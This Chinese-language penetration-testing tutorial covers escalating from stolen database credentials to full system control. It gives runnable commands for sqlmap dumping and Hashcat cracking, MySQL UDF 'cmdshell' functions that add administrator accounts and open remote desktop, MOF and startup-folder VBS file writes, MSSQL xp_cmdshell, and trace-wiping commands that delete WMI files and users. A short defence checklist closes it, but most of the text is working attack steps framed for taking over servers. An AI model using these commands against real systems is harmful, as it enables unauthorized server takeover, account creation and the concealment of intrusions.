数据库提权

数据库提权 --- 当系统没有漏洞,就从数据库下手

前面学了 Windows 系统提权------靠的是系统层面的内核漏洞。但如果目标把补丁打全了,系统漏洞一个没有怎么办?别慌,还有一条路:数据库提权。MySQL、MSSQL、Oracle......这些数据库往往以高权限运行,一旦拿到最高权限账号,从执行 SQL 到执行系统命令,只需几步。


一、数据库提权的前提条件

条件 说明
✅ 条件一 获取数据库最高权限的账号密码(root / sa)
✅ 条件二 数据库未做目录限制secure_file_priv = ''
✅ 条件三 数据库允许外连(或能通过 WebShell 本地操作)
sql 复制代码
-- 检查目录限制
SHOW VARIABLES LIKE 'secure_file_priv';
-- 返回空 → 无限制,可以写入任意目录
-- 返回路径 → 只能在指定目录写文件,提权受限

-- 开启远程连接
GRANT ALL PRIVILEGES ON *.* TO 'root'@'%' IDENTIFIED BY 'root' WITH GRANT OPTION;
FLUSH PRIVILEGES;

二、获取数据库账号密码 --- 四大途径

2.1 SQL 注入

bash 复制代码
# SqlMap 一条龙
sqlmap -u "http://target/sql.php?id=1" --dbs
sqlmap -u "http://target/sql.php?id=1" -D mysql --tables
sqlmap -u "http://target/sql.php?id=1" -D mysql -T user --columns --dump

MySQL 的 user 表默认存储账号密码。密码通常是 MySQL 加密格式(* 开头),可使用 Hashcat 或在线 MD5 站解密。

Hashcat 破解 MySQL 密码:

bash 复制代码
hashcat.exe -m 300 -a 3 密码Hash
# -m 300 = MySQL 4.1 / 5.x 加密
# -a 3   = 暴力破解模式

在线解密:https://www.cmd5.com / https://www.somd5.com


2.2 数据库存储文件 / 备份文件

管理员通常会定期备份数据库。拿到 WebShell 后去翻翻这些路径。

MySQL 数据文件默认位置:

复制代码
C:\phpStudy\MySQL\data\mysql\user.MYD

三种数据库文件后缀:

后缀 含义
.MYD 表数据记录
.MYI 表索引
.frm 表结构定义

.MYD 文件用记事本打开就能看到账号密码------多数情况下密码是加密的。


2.3 翻阅网站配置文件

网站连接数据库一定会有一个配置文件。拿到 WebShell 后搜索包含以下关键词的文件:

复制代码
conn、config、data、sql、common、inc、db、database

常见配置文件路径:

复制代码
/inc/config.inc.php
/config.php
/conn.php
/common.php

密码通常明文写在里面!


2.4 暴力破解(最低效)

工具 使用场景
Hydra 数据库开启远程连接时直接爆破
本地脚本 数据库不开外连,上传 PHP 脚本在目标服务器本地爆破

数据库默认端口速查:

数据库 默认端口
MySQL 3306
MSSQL 1433
Oracle 1521
PostgreSQL 5432
MongoDB 27017
Redis 6379

⚠️ 远程爆破成功率低------流量大容易被监控阻断,而且数据库可能没开外连。推荐使用前三种方式


三、MySQL UDF 提权 --- 自定义函数执行系统命令

3.1 原理

UDF(User Defined Function,用户自定义函数)是 MySQL 提供的一种扩展机制。攻击者可以利用它自定义一个能执行系统命令的函数,从而实现从数据库操作到操作系统命令执行的跨越。

复制代码
执行 SQL → 自定义函数 cmdshell() → 执行系统命令 whoami → SYSTEM 权限!

3.2 提权流程

Step 1:确定数据库版本
sql 复制代码
SELECT VERSION();
Step 2:上传 udf.dll 到正确位置
MySQL 版本 dll 存放路径
< 5.2 C:\WINDOWS\C:\WINDOWS\system32\
≥ 5.2 MySQL 安装目录的 lib/plugin/
bash 复制代码
# 默认安装路径
C:/Program Files/MySQL/MySQLServer5.5/lib/plugin/udf.dll
# 或 PhpStudy 路径
C:/phpStudy/MySQL/lib/plugin/udf.dll

如果目标没有 plugin 目录,WebShell 手动创建一个。

Step 3:创建自定义函数
sql 复制代码
CREATE FUNCTION cmdshell RETURNS STRING SONAME 'udf.dll';
Step 4:调用函数执行系统命令
sql 复制代码
SELECT cmdshell('whoami');                              -- 查看当前用户
SELECT cmdshell('net user');                            -- 查看所有用户
SELECT cmdshell('net user xiaolin 123456 /add');       -- 添加用户
SELECT cmdshell('net localgroup administrators xiaolin /add');  -- 提管理员
Step 5:开启 3389
sql 复制代码
CREATE FUNCTION open3389 RETURNS STRING SONAME 'udf.dll';
SELECT open3389();

远程桌面已开启 → 用新建的账号登录 → 服务器到手!


四、MOF 提权 --- Win2003 专属

4.1 原理

MOF 文件用于描述 Windows 系统管理对象,可被 WMI(Windows Management Instrumentation)识别和解析。系统每隔约 5 分钟会扫描 C:/Windows/system32/wbem/mof/good/ 目录,并自动执行其中新增的 MOF 文件。

攻击者将恶意 MOF 文件写入该目录 → 系统自动执行 → 以 SYSTEM 权限运行攻击者指定的命令。

⚠️ 此漏洞基本只在 Windows Server 2003 环境下成功。

4.2 提权流程

方式一:数据库允许远程连接(用 MySQL 工具直接操作)

方式二:数据库不允许远程连接(用脚本)

sql 复制代码
-- 将预先准备好的 moon.mof 脚本写入系统 MOF 目录
SELECT load_file('C:\\phpStudy\\WWW\\dz\\moon.mof')
INTO DUMPFILE 'c:/windows/system32/wbem/mof/moon.mof';

等待约 5 分钟 → 系统自动执行 → admin 用户被创建!

清除 MOF 痕迹:

bash 复制代码
net stop winmgmt
rmdir /s /q C:\Windows\system32\wbem\Repository\
del C:\Windows\system32\wbem\mof\good\moon.mof /F /S
net user admin /delete
net start winmgmt

五、启动项提权

5.1 原理

Windows 开机时会自动运行「启动」目录下的文件和 msconfig 中注册的启动项。攻击者利用数据库写文件能力,将恶意 VBS 脚本写入启动项目录。

5.2 操作步骤

sql 复制代码
-- 1. 准备数据库
DROP DATABASE test;
CREATE DATABASE test;
USE test;

-- 2. 创建表
CREATE TABLE a (cmd TEXT);

-- 3. 插入 VBS 脚本内容
INSERT INTO a VALUES ("a=wshshell.run(""cmd.exe /c net user best best /add"",0)");
INSERT INTO a VALUES ("b=wshshell.run(""cmd.exe /c net localgroup administrators best /add"",0)");

-- 4. 导出到系统启动项目录
SELECT * FROM a INTO OUTFILE "C:\\Documents and Settings\\Administrator\\「开始」菜单\\程序\\启动\\best.vbs";

等待服务器重启 → 开机自动执行 best.vbs → 用户 best 被创建并加入管理员组!

触发重启的方式: MS12-020、MS15-034 等溢出漏洞。


六、MSSQL 数据库提权

MSSQL 默认开启对外连接(1433 端口),最高权限账号为 sa

6.1 获取 sa 密码

  • SQL 注入(注入点 → master..sysxlogins → sa 密码
  • 翻阅网站配置文件
  • 下载数据库备份文件

6.2 xp_cmdshell --- MSSQL 的系统命令入口

xp_cmdshell 是 MSSQL 内置的扩展存储过程,可以执行操作系统命令。高版本 MSSQL 默认禁用。

启用 xp_cmdshell:

sql 复制代码
sp_configure 'show advanced options', 1
RECONFIGURE
GO

sp_configure 'xp_cmdshell', 1
RECONFIGURE
GO

-- 执行系统命令
EXEC xp_cmdshell 'whoami';
EXEC xp_cmdshell 'net user test 123456 /add';

七、Oracle 数据库提权

Oracle 一般用于 JSP / ASPX 搭建的网站。

权限特点:

  • JSP 网站 → 正常搭建拿到 WebShell 后 默认就是 SYSTEM 权限(不需要提权)
  • ASPX 网站 → 需要进一步提升权限

账号密码获取思路同 MySQL / MSSQL,拿到后使用 oracleShell.jar 等工具进行命令执行。


八、数据库提权全景对比

提权方式 适用数据库 适用系统 核心原理 成功率
UDF 提权 MySQL Windows 自定义函数执行系统命令 ⭐⭐⭐⭐
MOF 提权 MySQL Win2003 写 MOF → WMI 自动执行 ⭐⭐⭐
启动项提权 MySQL Windows 写 VBS 到启动目录 ⭐⭐⭐
xp_cmdshell MSSQL Windows 调用内置扩展存储过程 ⭐⭐⭐⭐

九、脱库与防御

脱库方式

方式 工具 条件
工具脱库 Navicat / SQLMap / K8 数据库支持外连 + 端口不被拦截
脚本脱库 tuo.php 知道账号密码但无法远程连接
打包网站 dabao.php WebShell 权限

数据库安全防御

复制代码
1. 限制数据库远程连接,只允许本地访问
2. 密码 > 8 位,数字 + 字母 + 特殊符号
3. 不要给网站配置 root 或 sa 权限
4. 每个网站独立分配数据库账户
5. 设置 secure_file_priv 限制读写目录
6. 禁用不必要的扩展存储过程(如 xp_cmdshell)

写在最后: 数据库提权是 Web 渗透和内网渗透的交汇点。你从一个 Web 漏洞打进去,拿到了 WebShell 却提不了系统权限------这时数据库就是你的第二条命。UDF、MOF、启动项、xp_cmdshell......四种方式覆盖了从 MySQL 到 MSSQL、从 Win2003 到最新系统的全部场景。记住:只要拿到了数据库最高权限,数据库本身就能变成你的跳板。

相关推荐
智购科技自动售货机工厂1 小时前
2026自动售货机电机驱动芯片选型:从L298N到DRV8870的工程实践~YH
大数据·开发语言·数据库·人工智能·单片机·嵌入式硬件·scikit-learn
大方子1 小时前
【PolarCTF】苦海
网络安全·polarctf
土星云SaturnCloud1 小时前
充电站AI视觉算法全方案:安全监管+运营提效+服务升级,土星云边缘计算赋能场站智能化
服务器·人工智能·ai·边缘计算·ai视觉
MSTcheng.1 小时前
【Linux学习】Linux学习第二弹——Linux基本指令1
linux·运维·服务器·学习·指令
国科安芯1 小时前
ASL3159S:把精密信号的“破音“挡在切换之外的 0.9Ω 开关
服务器·网络·数据库·架构·状态模式·抗辐射加固
羽翼安全1 小时前
医院电脑防止拍照 化解屏幕防拍照泄密合规难题
安全·电脑
莫问ABC1 小时前
Python 详解:从语法基础到进阶实战
开发语言·python·安全
克里斯蒂亚诺更新1 小时前
win下如何将redis自启动
数据库·redis·缓存
极小狐1 小时前
极狐GitLab Runner 自托管安全加固指南
安全·ci/cd·gitlab·devops·runner·安全加固